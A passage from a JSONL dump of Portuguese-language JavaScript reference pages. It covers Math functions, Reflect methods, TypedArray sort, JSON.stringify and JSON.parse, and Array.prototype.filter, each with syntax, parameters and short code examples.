`Math.asin()`\n* `Math.atan()`\n* `Math.atan2()`\n* `Math.cos()`\n* `Math.sin()`\n* `Math.tan()`"}
{"title":"Math.cos() - JavaScript","text":"Math.cos()\n==========\n\nA função **`Math.cos()`** ,que é estatica, retorna o cosseno de um ângulo, que deve estar em radianos. A expressão é \n\n\nlength\n\nadjacent\n\n\nlength\n\nhypotenuse\n\n\n.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nMath.cos(x)\n```\n\n### Parâmetros\n\n`x`\n\nÂngulo em radianos\n\n### Valor de retorno\n\nO cosseno do número: x\n\nDescrição\n---------\n\n`Math.cos()` é um método que retorna um número entre -1 e 1, que representa o cosseno de um ângulo.\n\nJá que `cos()` é um método estático de `Math`, você sempre deve usar `Math.cos()`, ao invez de criar um objeto de `Math` (`Math` não tem construtor).\n\nExemplos\n--------\n\n### Usando `Math.cos()`\n\n\n```js\nMath.cos(0); // 1\nMath.cos(1); // 0.5403023058681398\n\nMath.cos(Math.PI); // -1\nMath.cos(2 \\* Math.PI); // 1\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.cos |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.acos()`\n* `Math.asin()`\n* `Math.atan()`\n* `Math.atan2()`\n* `Math.sin()`\n* `Math.tan()`"}
{"title":"Math.cbrt() - JavaScript","text":"Math.cbrt()\n===========\n\nA função **`Math.cbrt()`** retorna a raiz cúbica de um número, isto é\n\n\n\nM\na\nt\nh\n.\nc\nb\nr\nt\n(\nx\n)\n\n=\n\nx\n3\n\n =\n y, tal que\n\ny\n3\n\n=\nx\n\n\\mathtt{Math.cbrt(x)} = \\sqrt[3]{x} = \\text{the unique} ; y ; \\text{such that} ; y^3 = x\n\nSintaxe\n-------\n```\n\nMath.cbrt(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Valor de retorno\n\nA raiz cúbica do número fornecido.\n\nDescrição\n---------\n\nPorque `cbrt()` é um método estático de `Math`, você sempre irá utilizar como `Math.cbrt()`, ao invés de um método de um objeto `Math` que você tenha criado (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Utilizando `Math.cbrt()`\n\n\n```js\nMath.cbrt(NaN); // NaN\nMath.cbrt(-1); // -1\nMath.cbrt(-0); // -0\nMath.cbrt(-Infinity); // -Infinity\nMath.cbrt(0); // 0\nMath.cbrt(1); // 1\nMath.cbrt(Infinity); // Infinity\nMath.cbrt(null); // 0\nMath.cbrt(2); // 1.2599210498948734\n```\n\nPolyfill\n--------\n\nPara todo \n\n\nx\n≥\n0\n\nx \\geq 0\n\n, temos \n\n\nx\n3\n\n=\n\nx\n\n1\n/\n3\n\n\\sqrt[3]{x} = x^{1/3}\n\n, então isto pode ser simulado pela seguinte função:\n\n\n```js\nif (!Math.cbrt) {\n  Math.cbrt = function (x) {\n    var y = Math.pow(Math.abs(x), 1 / 3);\n    return x < 0 ? -y : y;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.cbrt |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.pow()`\n* `Math.sqrt()`"}
{"title":"Math.PI - JavaScript","text":"Math.PI\n=======\n\nA propriedade **`Math.PI`** representa a proporção entre circunferência de um círculo com o seu diâmetro, aproximadamente 3.14159:\n\n\nMath.PI\n\n=\nπ\n≈\n3.14159\n\n\\mathtt{\\mi{Math.PI}} = \\pi \\approx 3.14159\n\nExperimente\n-----------\n\n| Property attributes of `Math.PI` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nComo `PI` é uma propriedade estática de `Math`, sempre use-a como `Math.PI`, ao invés de uma propriedade de um objeto `Math` que você criou (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Usando `Math.PI`\n\nA seguinte função usa `Math.PI` para calcular a circunferência de um círculo com um dado raio.\n\n\n```js\nfunction calcularCircunferencia(raio) {\n  return 2 \\* Math.PI \\* raio;\n}\n\ncalcularCircunferencia(1); // 6.283185307179586\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.pi |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math`"}
{"title":"Math.abs() - JavaScript","text":"Math.abs()\n==========\n\nSumário\n-------\n\nA função **`Math.abs(x)`** retorna o valor absoluto de um número \"x\", tal qual:\n\n\n\nMath.abs\n(\nx\n)\n\n=\n\n|\nx\n|\n\n=\n\n{\n\nx\n\nif\n\nx\n>\n0\n\n0\n\nif\n\nx\n=\n0\n\n-\nx\n\nif\n\nx\n<\n0\n\n\n{\\mathtt{\\operatorname{Math.abs}(x)}} = {|x|} = \\begin{cases} x & \\text{if} \\quad x \\geq 0 \\ -x & \\text{if} \\quad x < 0 \\end{cases}\n\nSintaxe\n-------\n```\n\nvar abs = Math.abs(x);\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Valor de Retorno\n\nO valor absoluto do número passado\n\nDescrição\n---------\n\nPor `abs` ser um método estático de `Math`, você sempre o usará como `Math.abs()` ao ínves de usar como método de um objeto `Math` criado por você. (`Math` não é um construtor);\n\nExemplos\n--------\n\n### Comportamento de `Math.abs()`\n\nPassando um string não-numérica ou variável indefinida/vazia retorna `NaN`. Passando null retorna 0.\n\n\n```js\nMath.abs(\"-1\"); // 1\nMath.abs(-2); // 2\nMath.abs(null); // 0\nMath.abs(\"\"); // 0\nMath.abs([]); // 0\nMath.abs([2]); // 2\nMath.abs([1, 2]); // NaN\nMath.abs({}); // NaN\nMath.abs(\"string\"); // NaN\nMath.abs(); // NaN\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.abs |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `Math.ceil()`\n* `Math.floor()`\n* `Math.round()`\n* `Math.sign()`\n* `Math.trunc()`"}
{"title":"Reflect.defineProperty() - JavaScript","text":"Reflect.defineProperty()\n========================\n\nO método estático **`Reflect.defineProperty()`** é como o `Object.defineProperty()`, mas retorna um `Boolean`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nReflect.defineProperty(target, propertyKey, attributes)\n```\n\n### Parâmetros\n\n`target`\n\nO objeto de destino onde será definida a propriedade.\n\n`propertyKey`\n\nO nome da propriedade a ser definida ou modificada.\n\n`attributes`\n\nOs atributos para a propriedade que está sendo definida ou modificada.\n\n### Valor de retorno\n\nUm `Boolean` indicando se a propriedade foi ou não definida com êxito.\n\n### Erros\n\nUm `TypeError`, se `target` não for um `Object`.\n\nDescrição\n---------\n\nO método `Reflect.defineProperty` permite a adição precisa ou a modificação de uma propriedade em um objeto. Para mais detalhes veja o `Object.defineProperty`, que é semelhante.\n\n**Nota:** **Uma diferença fundamental:** `Object.defineProperty` retorna o objeto ou lança um `TypeError` se a propriedade não tiver sido definida com êxito. `Reflect.defineProperty`, no entanto, simplesmente retorna um `Boolean` indicando se a propriedade foi ou não definida com êxito.\n\nExemplos\n--------\n\n### Usando `Reflect.defineProperty()`\n\n\n```js\nlet obj = {};\nReflect.defineProperty(obj, \"x\", { value: 7 }); // true\nobj.x; // 7\n```\n\n### Verificando se a definição da propriedade foi bem-sucedida\n\nCom o `Object.defineProperty`, que retorna um objeto se for bem-sucedido ou lança um `TypeError`, você usaria um bloco try...catch para detectar qualquer erro que ocorreu ao definir uma propriedade.\n\nComo `Reflect.defineProperty` retorna um status de sucesso booleano, você pode usar apenas um bloco `if...else` aqui:\n\n\n```js\nif (Reflect.defineProperty(target, property, attributes)) {\n  // success\n} else {\n  // failure\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-reflect.defineproperty |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Reflect`\n* `Object.defineProperty()`"}
{"title":"Reflect.set() - JavaScript","text":"Reflect.set()\n=============\n\nO método estático **`Reflect.set()`** define uma propriedade em um objeto.\n\nSintaxe\n-------\n```\n\nReflect.set(alvo, propriedade, valor[, receptor])\n```\n\n### Parâmetros\n\n`alvo`\n\nO objeto alvo onde a propriedade será definida.\n\n`propriedade`\n\nO nome da propriedade a ser definida.\n\nvalor\n\no valor a ser definido para a propriedade.\n\nreceptor\n\nO valor do `this` fornecido para a chamada do alvo se um setter é encontrado.\n\n### Retorno\n\nUm `Boolean` indicando se a definicão da propriedade ocorreu com sucesso ou não.\n\n### Exceções\n\nUm `TypeError`, se o `alvo` não for um `Object`.\n\nDescrição\n---------\n\nO método `Reflect.set` permite que você defina uma propriedade em um objeto. Ele define a propriedade e is like the property accessor syntax as a function.\n\nExemplos\n--------\n\n### Usando `Reflect.set()`\n\n\n```js\n// Object\nvar obj = {};\nReflect.set(obj, \"prop\", \"value\"); // true\nobj.prop; // \"value\"\n\n// Array\nvar arr = [\"duck\", \"duck\", \"duck\"];\nReflect.set(arr, 2, \"goose\"); // true\narr[2]; // \"goose\"\n\n// É possível truncar o array\nReflect.set(arr, \"length\", 1); // true\narr; // [\"duck\"];\n\n// Com apenas um argumento, propertKey e valor são undefined\nvar obj = {};\nReflect.set(obj); // true\nReflect.getOwnPropertyDescriptor(obj, \"undefined\");\n// { value: undefined, writable: true, enumerable: true, configurable: true }\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-reflect.set |\n\nCompatilibidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Reflect`\n* Property accessors"}
{"title":"Reflect.construct() - JavaScript","text":"Reflect.construct()\n===================\n\nThe static **`Reflect.construct()`** method acts like the `new` operator, but as a function. It is equivalent to calling `new target(...args)`. It gives also the added option to specify a different prototype.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nReflect.construct(target, argumentsList[, newTarget])\n```\n\n### Parametros\n\n`target`\n\nA função alvo à ser chamada.\n\n`argumentsList`\n\nUm objeto tipo array que especifica com quais argumentos `target` deveria ser chamada.\n\n`newTarget` Optional\n\nO construtor de quem o protótipo deveria ser usado. Veja também o `new.target` operador. Se `newTarget` não estiver presente, será `target`.\n\n### Return value\n\nA new instance of `target` (or `newTarget`, if present), initialized by `target` as a constructor with the given arguments.\n\n### Exceptions\n\nA `TypeError`, if `target` or `newTarget` are not constructors.\n\nDescription\n-----------\n\n`Reflect.construct` allows you to invoke a constructor with a variable number of arguments (which would also be possible by using the spread operator (en-US) combined with the new operator).\n\n\n```js\nvar obj = new Foo(...args);\nvar obj = Reflect.construct(Foo, args);\n```\n\n### `Reflect.construct()` vs `Object.create()`\n\nPrior to the introduction of `Reflect`, objects could be constructed using an arbitrary combination of constructor and prototype by using `Object.create()`.\n\n\n```js\nfunction OneClass() {\n  this.name = \"one\";\n}\n\nfunction OtherClass() {\n  this.name = \"other\";\n}\n\n// Calling this:\nvar obj1 = Reflect.construct(OneClass, args, OtherClass);\n\n// ...has the same result as this:\nvar obj2 = Object.create(OtherClass.prototype);\nOneClass.apply(obj2, args);\n\nconsole.log(obj1.name); // 'one'\nconsole.log(obj2.name); // 'one'\n\nconsole.log(obj1 instanceof OneClass); // false\nconsole.log(obj2 instanceof OneClass); // false\n\nconsole.log(obj1 instanceof OtherClass); // true\nconsole.log(obj2 instanceof OtherClass); // true\n```\n\n\nHowever, while the end result is the same, there is one important difference in the process. When using `Object.create()` and `Function.prototype.apply()`, the `new.target` operator will point to `undefined` within the function used as the constructor, since the `new` keyword is not being used to create the object.\n\nWhen invoking `Reflect.construct()`, on the other hand, the `new.target` operator will point to the `newTarget` parameter if supplied, or `target` if not.\n\n\n```js\nfunction OneClass() {\n  console.log(\"OneClass\");\n  console.log(new.target);\n}\nfunction OtherClass() {\n  console.log(\"OtherClass\");\n  console.log(new.target);\n}\n\nvar obj1 = Reflect.construct(OneClass, args);\n// Output:\n// OneClass\n// function OneClass { ... }\n\nvar obj2 = Reflect.construct(OneClass, args, OtherClass);\n// Output:\n// OneClass\n// function OtherClass { ... }\n\nvar obj3 = Object.create(OtherClass.prototype);\nOneClass.apply(obj3, args);\n// Output:\n// OneClass\n// undefined\n```\n\nExamples\n--------\n\n### Using `Reflect.construct()`\n\n\n```js\nvar d = Reflect.construct(Date, [1776, 6, 4]);\nd instanceof Date; // true\nd.getFullYear(); // 1776\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-reflect.construct |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `Reflect`\n* `new`\n* `new.target`"}
{"title":"Reflect.apply() - JavaScript","text":"Reflect.apply()\n===============\n\nO método estático **`Reflect.apply()`** chama uma função alvo com os argumentos especificados.\n\nSintaxe\n-------\n```\n\nReflect.apply(target, thisArgument, argumentsList)\n```\n\n### Parâmetros\n\ntarget\n\nFunção que será chamada.\n\nthisArgument\n\nO valor de \"`this\"` que será usado pela function do target.\n\nargumentsList\n\nUm objeto do tipo array que especifica os argumentos com que o *`target`* deve ser chamado.\n\n### Valor de retorno\n\nO resultado da função alvo chamada com o **`this`** e argumentos especificados.\n\n### Exceções\n\nUm `TypeError`, se a função especificada no *target* não for invocável.\n\nDescrição\n---------\n\nNo ES5, tipicamente é usado o método `Function.prototype.apply()` para chamar uma função com o valor de `this e argumentos` fornecidos como um array (ou um array-like object).\n\n\n```js\nFunction.prototype.apply.call(Math.floor, undefined, [1.75]);\n```\n\n\nCom o `Reflect.apply` isso se torna menos verboso e mais fácil de entender.\n\nExemplos\n--------\n\n### Usando `Reflect.apply()`\n\n\n```js\nReflect.apply(Math.floor, undefined, [1.75]);\n// 1;\n\nReflect.apply(String.fromCharCode, undefined, [104, 101, 108, 108, 111]);\n// \"hello\"\n\nReflect.apply(RegExp.prototype.exec, /ab/, [\"confabulation\"]).index;\n// 4\n\nReflect.apply(\"\".charAt, \"ponies\", [3]);\n// \"i\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-reflect.apply |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Reflect`\n* `Function.prototype.apply()`"}
{"title":"TypedArray.prototype.sort() - JavaScript","text":"TypedArray.prototype.sort()\n===========================\n\nO método **`sort()`** ordena os elementos de uma matriz tipada *no local* e retorna a matriz ordenada. Esse método tem o mesmo algoritmo que `Array.prototype.sort()`*.* *TypedArray* é uma das maneiras de escrever matrizes (en-US).\n\nSyntax\n------\n```\n\ntypedarray.sort([compareFunction])\n```\n\n### Parâmetros\n\n`compareFunction` Optional\n\nEspecifica uma função que define a ordem de classificação.\n\n### Valor de retorno\n\nA matriz ordenada.\n\nExemplos\n--------\n\nPara mais exemplos, acesse o método `Array.prototype.sort()`.\n\n\n```js\nvar numbers = new Uint8Array([40, 1, 5, 200]);\nnumbers.sort();\n// Uint8Array [ 1, 5, 40, 200 ]\n// A compare function is not required as in the case of Array\n// to sort the numbers numerically.\n\nvar numbers = [40, 1, 5, 200];\nnumbers.sort();\n// The elements are sorted as strings.\n// [1, 200, 40, 5]\n\nfunction compareNumbers(a, b) {\n  return a - b;\n}\n\nnumbers.sort(compareNumbers);\n// [ 1, 5, 40, 200 ]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-%typedarray%.prototype.sort |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Array.prototype.sort()`"}
{"title":"JSON.stringify() - JavaScript","text":"JSON.stringify()\n================\n\nResumo\n------\n\nO método **`JSON.stringify()`** converte valores em javascript para uma String JSON. Esses valores podem ser substituidos especificando a função *replacer*, ou incluindo somente as propriedades específicas, quando o array do replacer for especificado.\n\nSintaxe\n-------\n```\n\nJSON.stringify(valor[, replacer[, espaço]])\n```\n\n### Parâmetros\n\n`valor`\n\nO valor a ser convertido para uma string JSON.\n\n`replacer` Optional\n\nUma função que altera o comportamento do processo de transformação em string, ou um array de objetos `String` e `Number` que servem como uma lista branca para selecionar as propriedades do objeto valor a ser incluído na string JSON. Se este valor for nulo ou não fornecido, todas as propriedades do objeto são incluídas na string JSON resultante.\n\n`espaço` Optional\n\nUm objeto `String` ou `Number` que é usado para inserir espaço em branco na saída da string JSON para propósito de legibilidade. Se isto for um `Number`, indica o número de caracteres espaço para usar como espaço em branco; este número é limitado em 10 se for maior que isso. Valores menores que 1 indicam que nenhum espaço deve ser usado. Se isto for uma `String`, a string (ou os primeiros 10 caracteres da string, se for maior que isso) é usado como espaço em branco. Se esse parâmetro não for fornecido (ou for null), nenhum espaço em branco é usado.\n\nDescrição\n---------\n\n`JSON.stringify()` converte um valor para uma notação JSON que o representa:\n\n* Se o valor tiver um método `toJSON()`, é responsável por definir quais dados serão serializados.\n* `Boolean`, `Number`, and `String` os objetos são convertidos para os valores primitivos correspondentes durante a stringificação, de acordo com a semântica de conversão.\n* Se `undefined`, uma função, ou um symbol é encontrado durante a conversão é omitido (quando é encontrado em um objeto) ou censurado para `null` (quando é encontrado em um Array). `JSON.stringify` pode também somente retornar `undefined` ao passar valores puros como `JSON.stringify(function(){})` ou `JSON.stringify(undefined)`.\n* Todas as propriedades com chave de símbolo serão completamente ignoradas, mesmo quando usar a função `replacer`.\n* Propriedades não enumeráveis serão ignoradas.\n\n\n```js\nJSON.stringify({}); // '{}'\nJSON.stringify(true); // 'true'\nJSON.stringify(\"foo\"); // '\"foo\"'\nJSON.stringify([1, \"false\", false]); // '[1,\"false\",false]'\nJSON.stringify({ x: 5 }); // '{\"x\":5}'\n\nJSON.stringify({ x: 5, y: 6 });\n// '{\"x\":5,\"y\":6}' or '{\"y\":6,\"x\":5}'\nJSON.stringify([new Number(1), new String(\"false\"), new Boolean(false)]);\n// '[1,\"false\",false]'\n\n// Symbols:\nJSON.stringify({ x: undefined, y: Object, z: Symbol(\"\") });\n// '{}'\nJSON.stringify({ [Symbol(\"foo\")]: \"foo\" });\n// '{}'\nJSON.stringify({ [Symbol.for(\"foo\")]: \"foo\" }, [Symbol.for(\"foo\")]);\n// '{}'\nJSON.stringify({ [Symbol.for(\"foo\")]: \"foo\" }, function (k, v) {\n  if (typeof k === \"symbol\") {\n    return \"a symbol\";\n  }\n});\n// '{}'\n```\n\n### O parâmetro `replacer` parameter\n\nO parâmetro `replacer` pode ser uma função ou uma matriz. Como função, são necessários dois parâmetros, a `chave` e os valores que estão sendo especificados. O objeto no qual a `chave` foi encontrada é fornecido como substituto desse parâmetro. Inicialmente, ele é chamado com uma chave vazia que representa o objeto que está sendo codificado e, em seguida, é chamado para cada propriedade no `objeto` ou matriz que está sendo codificada. Ele deve retornar o valor que deve ser adicionado à cadeia JSON, da seguinte maneira:\n\n* Se você retornar um `Number`, a string correspondente a esse número é usada como o valor da propriedade quando adicionada à sequência JSON.\n* If you return a `String`, that string is used as the property's value when adding it to the JSON string.\n* If you return a `Boolean`, \"true\" or \"false\" is used as the property's value, as appropriate, when adding it to the JSON string.\n* If you return any other object, the object is recursively stringified into the JSON string, calling the `replacer` function on each property, unless the object is a function, in which case nothing is added to the JSON string.\n* If you return `undefined`, the property is not included in the output JSON string.\n\n> \n> \\*\\*Nota:\\*\\*Você não pode usar a função `replacer` para remover valoeres em uma `array`. Se você retornar `undefined`, `null` será usado no lugar.\n> \n> \n> \n\n#### Exemplo de uma função\n\n\n```js\nfunction replacer(key, value) {\n  if (typeof value === \"string\") {\n    return undefined;\n  }\n  return value;\n}\n\nvar foo = {\n  fundação: \"Mozilla\",\n  modelo: \"caixa\",\n  semana: 45,\n  transporte: \"carro\",\n  mês: 7,\n};\nvar jsonString = JSON.stringify(foo, replacer);\n```\n\n\nO resultado do JSON é: `{\"semana\":45,\"mês\":7}`.\n\n#### Exemplo em uma array\n\nSe `replacer` é usado em uma array, os valores da array indicam os nomes das propriedades no objeto, que devem ser incluídas na sequência JSON resultante.\n\n\n```js\nJSON.stringify(foo, [\"semana\", \"mês\"]);\n// '{\"semana\":45,\"mês\":7}', apenas mantém as propriedades \"semana\" e \"mês\"\n```\n\n### O argumento `space`\n\nO argumento `space` O argumento pode ser usado para controlar o espaçamento na sequência final. Se for um número, os níveis sucessivos na stringficação serão recuados por esse número de caracteres de espaço (até 10). Se for uma sequência, os níveis sucessivos serão recuados por essa sequência (ou pelos dez primeiros caracteres).\n\n\n```js\nJSON.stringify({ a: 2 }, null, \" \");\n// '{\n// \"a\": 2\n// }'\n```\n\n\nO uso de um caractere de tabulação imita a aparência padrão de impressão pretty-print.\n\n\n```js\nJSON.stringify({ um: 1, dois: 2 }, null, \"\\t\");\n// r:\n// '{\n// \"um\": 1,\n// \"dois\": 2\n// }'\n```\n\n### Comportamento de `toJSON()`\n\nSe um objeto sendo stringificado tiver uma propriedade denominada toJSON() cujo valor é uma função, o método `toJSON()` personaliza o comportamento da stringificação JSON, em vez de o objeto ser serializado, o valor retornado pelo método `toJSON()` quando chamado será serializado. Por exemplo:\n\n\n```js\nvar obj = {\n  foo: \"foo\",\n  toJSON: function () {\n    return \"bar\";\n  },\n};\nJSON.stringify(obj); // '\"bar\"'\nJSON.stringify({ x: obj }); // '{\"x\":\"bar\"}'\n```\n\n### Exemplo de uso de `JSON.stringify()` com `localStorage`\n\nNo caso em que você deseja armazenar um objeto criado por seu usuário e permitir que ele seja restaurado mesmo após o fechamento do navegador, o exemplo a seguir é um modelo para a aplicabilidade de `JSON.stringify()`:\n\n**Aviso:** As funções não são um tipo de dados JSON válido, portanto, elas não funcionarão. Também alguns objetos como `Date` será uma string depois `JSON.parse()`.\n\n\n```js\n// Criando um exemplo em JSON\nvar seção = {\n  telas: [],\n  estado: true,\n};\nsession.screens.push({ nome: \"telaA\", largura: 450, altura: 250 });\nsession.screens.push({ nome: \"telaB\", largura: 650, altura: 350 });\nsession.screens.push({ nome: \"telaC\", largura: 750, altura: 120 });\nsession.screens.push({ nome: \"telaD\", largura: 250, altura: 60 });\nsession.screens.push({ nome: \"telaE\", largura: 390, altura: 120 });\nsession.screens.push({ nome: \"telaF\", largura: 1240, altura: 650 });\n\n// Convertendo a string JSON em JSON.stringify()\n// Salvando com localStorage no nome da sessão\nlocalStorage.setItem(\"seção\", JSON.stringify(seção));\n\n// Exemplo de como transformar a String gerada por meio de:\n// JSON.stringify() e salva em localStorage no objeto JSON novamente\nvar seçãoRestaurada = JSON.parse(localStorage.getItem(\"seção\"));\n\n// Agora, a variável seçãoRestaurada contém o objeto que foi salvo\n// no localStorage\nconsole.log(seçãoRestaurada);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-json.stringify |\n\nCompatibilidade em navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `JSON.parse()`"}
{"title":"JSON.parse() - JavaScript","text":"JSON.parse()\n============\n\nO método **`JSON.parse()`** analisa uma string JSON, construindo o valor ou um objeto JavaScript descrito pela string. Uma função **reviver** opcional pode ser fornecida para executar uma transformação no objeto que será retornado.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nJSON.parse(text[, reviver])\n```\n\n### Parâmetros\n\n`text`\n\nA string para analisar como JSON. Veja o objeto `JSON` para uma descrição da sintaxe JSON.\n\n`reviver` Optional\n\nSe for uma função, prescreve como o valor originalmente produzido pela análise será transformado antes de ser retornado.\n\n### Valor retornado\n\nO `Object` correspondente ao `text` JSON fornecido.\n\n### Exceções\n\nLança uma exceção `SyntaxError` (en-US) se a string a ser analisada não for um JSON válido.\n\nExemplos\n--------\n\n### Usando `JSON.parse()`\n\n\n```js\nJSON.parse(\"{}\"); // {}\nJSON.parse(\"true\"); // true\nJSON.parse('\"foo\"'); // \"foo\"\nJSON.parse('[1, 5, \"false\"]'); // [1, 5, \"false\"]\nJSON.parse(\"null\"); // null\n```\n\n### Usando o parâmetro `reviver`\n\nSe um `reviver` for especificado, o valor calculado pela análise será *transformado* antes de ser retornado. Especificamente, o valor computado e todas as suas propriedades (começando com as propriedades mais aninhadas e prosseguindo para o próprio valor original) são executadas individualmente através do `reviver`. Em seguida, ele é chamado, com o objeto contendo a propriedade sendo processada como `this`, e com o nome da propriedade como uma string, e o valor da propriedade como argumentos. Se a função `reviver` retornar `undefined` (ou não retornar nenhum valor, por exemplo, se a execução cair no final da função), a propriedade será excluída do objeto. Caso contrário, a propriedade é redefinida para ser o valor de retorno.\n\nSe o `reviver` apenas transformar alguns valores e não outros, certifique-se de retornar todos os valores não transformados como estão, caso contrário, eles serão excluídos do objeto resultante.\n\n\n```js\nJSON.parse(\n  '{\"p\": 5}',\n  (key, value) =>\n    typeof value === \"number\"\n      ? value \\* 2 // retorna o valor \\* 2 para números\n      : value, // retorna tudo sem alteração\n);\n\n// { p: 10 }\n\nJSON.parse('{\"1\": 1, \"2\": 2, \"3\": {\"4\": 4, \"5\": {\"6\": 6}}}', (key, value) => {\n  console.log(key); // mostra o nome da propriedade atual, o último é \"\".\n  return value; // retorna o valor da propriedade inalterada.\n});\n\n// 1\n// 2\n// 4\n// 6\n// 5\n// 3\n// \"\"\n```\n\n### `JSON.parse()` não permite vírgulas à direta\n\n\n```js\n// ambos retornarão um SyntaxError\nJSON.parse(\"[1, 2, 3, 4, ]\");\nJSON.parse('{\"foo\" : 1, }');\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-json.parse |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `JSON.stringify()`"}
{"title":"Array.prototype.filter() - JavaScript","text":"Array.prototype.filter()\n========================\n\nO método **`filter()`** cria um novo array com todos os elementos que passaram no teste implementado pela função fornecida.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nvar newArray = arr.filter(callback[, thisArg])\n```\n\n### Parâmetros\n\n`callback`\n\nFunção é um predicado, para testar cada elemento do array. Retorna `true` para manter o elemento, `false` caso contrário, recebendo três argumentos:\n\n`element`\n\nO elemento que está sendo processado no array.\n\n`index`\n\nO índice do elemento atual que está sendo processado no array.\n\n`array`\n\nO array para qual `filter` foi chamada.\n\n\n`thisArg Optional`\n\nOpcional. Valor a ser usado como `this` durante a execução do `callback`.\n\n### Valor de retorno\n\nUm novo array com os elementos que passaram no teste.\n\nDescrição\n---------\n\n`filter()` chama a função callback fornecida, uma vez para cada elemento do array, e constrói um novo array com todos os valores para os quais o `callback` retornou o valor `true` ou um valor que seja convertido para true. O `callback` é chamado apenas para índices do array que possuem valores atribuídos; Ele não é invocado para índices que foram excluídos ou para aqueles que não tiveram valor atribuído. Elementos do array que não passaram no teste do `callback` são simplesmente ignorados, e não são incluídos no novo array.\n\n`callback` é invocado com estes três argumentos:\n\n1. o valor do elemento\n2. o índice do elemento\n3. o objeto do array a ser preenchido\n\nSe o parâmetro `thisArg` for provido para o filter, ele será passado para o `callback` quando invocado, para ser usado como o valor do this. Caso contrário, será passado `undefined` como o valor de `this`. O valor do `this` finalmente observado pela função de `callback` é determinado de acordo com a regra que define o valor do `this` geralmente visto por uma função.\n\n`filter()` não altera o `array` a partir da qual foi invocado.\n\nO intervalo de elementos processados pela função `filter()` é definido antes da invocação do primeiro callback. Elementos que forem adicionados ao array depois da invocação do `filter()` não serão visitados pelo `callback`. Se elementos existentes no array forem alterados ou deletados, os valores deles que serão passados para o callback são os que eles tiverem quando o `filter()` visitá-los; Elementos que forem deletados não são visitados.\n\nExemplos\n--------\n\n### Exemplo: Filtrando todos os valores pequenos\n\nOs exemplos a seguir usam `filter()` para criar um `array` filtrado em que todos os elementos com valores menores que 10 são removidos.\n\n\n```js\nfunction isBigEnough(value) {\n  return value >= 10;\n}\nvar filtered = [12, 5, 8, 130, 44].filter(isBigEnough);\n// filtered is [12, 130, 44]\n```\n\n### Exemplo: Filtrando entradas inválidas para JSON\n\nO exemplo a seguir usa `filter()` para criar um `JSON` filtrado com todos seus elementos diferentes de zero, e `id` numérico.\n\n\n```js\nvar arr = [\n  { id: 15 },\n  { id: -1 },\n  { id: 0 },\n  { id: 3 },\n  { id: 12.2 },\n  {},\n  { id: null },\n  { id: NaN },\n  { id: \"undefined\" },\n];\n\nvar invalidEntries = 0;\n\nfunction filterByID(obj) {\n  if (\"id\" in obj && typeof obj.id === \"number\" && !isNaN(obj.id)) {\n    return true;\n  } else {\n    invalidEntries++;\n    return false;\n  }\n}\n\nvar arrByID = arr.filter(filterByID);\n\nconsole.log(\"Filtered Array\\n\", arrByID);\n// [{ id: 15 }, { id: -1 }, { id: 0 }, { id: 3 }, { id: 12.2 }]\n\nconsole.log(\"Number of Invalid Entries = \", invalidEntries);\n// Number of Invalid Entries = 4\n```\n\n### Procurando em um array\n\nO exemplo a seguir usa `filter()` para filtrar o conteúdo de um array baseado em um critério de busca\n\n\n```js\nvar fruits = [\"apple\", \"banana\", \"grapes\", \"mango\", \"orange\"];\n\n/\\*\\*\n \\* Array filters items based on search criteria 